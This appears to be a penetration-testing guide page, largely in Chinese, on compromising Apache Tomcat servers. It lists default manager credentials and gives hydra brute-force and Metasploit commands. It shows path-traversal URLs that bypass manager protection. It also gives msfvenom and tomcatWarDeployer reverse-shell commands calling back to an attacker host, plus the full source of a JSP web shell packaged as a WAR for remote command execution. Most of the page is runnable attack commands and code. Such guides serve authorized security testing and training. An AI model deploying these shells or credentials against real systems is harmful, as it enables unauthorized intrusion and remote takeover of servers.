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237 lines
8.4 KiB
Markdown
237 lines
8.4 KiB
Markdown
# Tomcat
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{{#include ../../../banners/hacktricks-training.md}}
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## Discovery
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- 它通常运行在 **port 8080**
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- **常见的 Tomcat 错误：**
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<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
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## Enumeration
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### **版本识别**
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要查找 Apache Tomcat 的版本，可以执行一个简单的命令：
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```bash
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curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
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```
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这将搜索文档索引页面中的术语“Tomcat”，揭示HTML响应中标题标签中的版本。
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### **管理文件位置**
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确定**`/manager`**和**`/host-manager`**目录的确切位置至关重要，因为它们的名称可能会被更改。建议进行暴力搜索以定位这些页面。
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### **用户名枚举**
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对于版本低于6的Tomcat，可以通过以下方式枚举用户名：
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```bash
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msf> use auxiliary/scanner/http/tomcat_enum
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```
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### **默认凭据**
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**`/manager/html`** 目录特别敏感，因为它允许上传和部署 WAR 文件，这可能导致代码执行。该目录受到基本 HTTP 身份验证的保护，常见凭据包括：
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- admin:admin
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- tomcat:tomcat
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- admin:
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- admin:s3cr3t
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- tomcat:s3cr3t
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- admin:tomcat
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可以使用以下方式测试这些凭据：
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```bash
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msf> use auxiliary/scanner/http/tomcat_mgr_login
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```
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另一个显著的目录是 **`/manager/status`**，它显示了 Tomcat 和操作系统版本，有助于漏洞识别。
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### **暴力攻击**
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要对管理目录进行暴力攻击，可以使用：
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```bash
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hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
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```
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Along with setting various parameters in Metasploit to target a specific host.
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## Common Vulnerabilities
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### **密码回溯泄露**
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在幸运的情况下，访问 `/auth.jsp` 可能会在回溯中泄露密码。
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### **双重URL编码**
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`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历，通过特制的URL使未授权访问管理界面成为可能。
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要访问Tomcat的管理网页，请前往： `pathTomcat/%252E%252E/manager/html`
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### /examples
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Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本（XSS）攻击的示例脚本。这些脚本列出得很全面，应检查是否存在未授权访问和潜在利用。找到 [更多信息在这里](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
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- /examples/jsp/num/numguess.jsp
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- /examples/jsp/dates/date.jsp
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- /examples/jsp/snp/snoop.jsp
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- /examples/jsp/error/error.html
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- /examples/jsp/sessions/carts.html
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- /examples/jsp/checkbox/check.html
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- /examples/jsp/colors/colors.html
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- /examples/jsp/cal/login.html
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- /examples/jsp/include/include.jsp
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- /examples/jsp/forward/forward.jsp
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- /examples/jsp/plugin/plugin.jsp
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- /examples/jsp/jsptoserv/jsptoservlet.jsp
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- /examples/jsp/simpletag/foo.jsp
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- /examples/jsp/mail/sendmail.jsp
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- /examples/servlet/HelloWorldExample
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- /examples/servlet/RequestInfoExample
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- /examples/servlet/RequestHeaderExample
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- /examples/servlet/RequestParamExample
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- /examples/servlet/CookieExample
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- /examples/servlet/JndiServlet
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- /examples/servlet/SessionExample
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- /tomcat-docs/appdev/sample/web/hello.jsp
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### **路径遍历漏洞**
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在某些 [**易受攻击的Tomcat配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中，您可以使用路径 `/..;/` 访问Tomcat中的受保护目录。
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因此，例如，您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问Tomcat管理**页面。
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**另一种方法**是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
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## RCE
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最后，如果您可以访问Tomcat Web应用程序管理器，您可以 **上传并部署一个.war文件（执行代码）**。
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### 限制
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您只能在拥有 **足够权限**（角色：**admin**、**manager** 和 **manager-script**）的情况下部署WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到，通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`（在不同版本之间有所不同）（见 [POST ](./#post)section）。
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```bash
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# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
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# deploy under "path" context path
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curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
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# undeploy
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curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
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```
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### Metasploit
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```bash
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use exploit/multi/http/tomcat_mgr_upload
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msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
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msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
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msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
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msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
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msf exploit(multi/http/tomcat_mgr_upload) > exploit
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```
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### MSFVenom 反向 Shell
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1. 创建要部署的 war：
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```bash
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
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```
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2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):
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### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
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在某些情况下，这可能不起作用（例如旧版本的 sun）
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#### 下载
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```bash
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git clone https://github.com/mgeeky/tomcatWarDeployer.git
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```
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#### 反向 shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
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```
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#### 绑定 shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
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```
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### 使用 [Culsterd](https://github.com/hatRiot/clusterd)
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```bash
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clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
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```
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### 手动方法 - Web shell
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创建 **index.jsp**，并使用此 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)：
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```java
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<FORM METHOD=GET ACTION='index.jsp'>
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<INPUT name='cmd' type=text>
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<INPUT type=submit value='Run'>
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</FORM>
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<%@ page import="java.io.*" %>
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<%
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String cmd = request.getParameter("cmd");
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String output = "";
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if(cmd != null) {
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String s = null;
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try {
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Process p = Runtime.getRuntime().exec(cmd,null,null);
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BufferedReader sI = new BufferedReader(new
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InputStreamReader(p.getInputStream()));
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while((s = sI.readLine()) != null) { output += s+"</br>"; }
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} catch(IOException e) { e.printStackTrace(); }
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}
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%>
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<pre><%=output %></pre>
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```
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```bash
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mkdir webshell
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cp index.jsp webshell
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cd webshell
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jar -cvf ../webshell.war *
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webshell.war is created
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# Upload it
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```
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您还可以安装此程序（允许上传、下载和命令执行）：[http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
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### 手动方法 2
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获取一个 JSP web shell，例如 [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个 WAR 文件：
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```bash
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wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
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zip -r backup.war cmd.jsp
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# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
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# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
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```
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## POST
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Tomcat 凭据文件的名称是 `tomcat-users.xml`，该文件指示用户在 tomcat 中的角色。
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```bash
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find / -name tomcat-users.xml 2>/dev/null
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```
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示例：
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```xml
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[...]
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<!--
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By default, no user is included in the "manager-gui" role required
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to operate the "/manager/html" web application. If you wish to use this app,
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you must define such a user - the username and password are arbitrary.
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Built-in Tomcat manager roles:
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- manager-gui - allows access to the HTML GUI and the status pages
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- manager-script - allows access to the HTTP API and the status pages
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- manager-jmx - allows access to the JMX proxy and the status pages
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- manager-status - allows access to the status pages only
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-->
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[...]
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<role rolename="manager-gui" />
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<user username="tomcat" password="tomcat" roles="manager-gui" />
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<role rolename="admin-gui" />
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<user username="admin" password="admin" roles="manager-gui,admin-gui" />
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```
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## 其他 Tomcat 扫描工具
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- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
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## 参考文献
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- [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
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- [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
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{{#include ../../../banners/hacktricks-training.md}}
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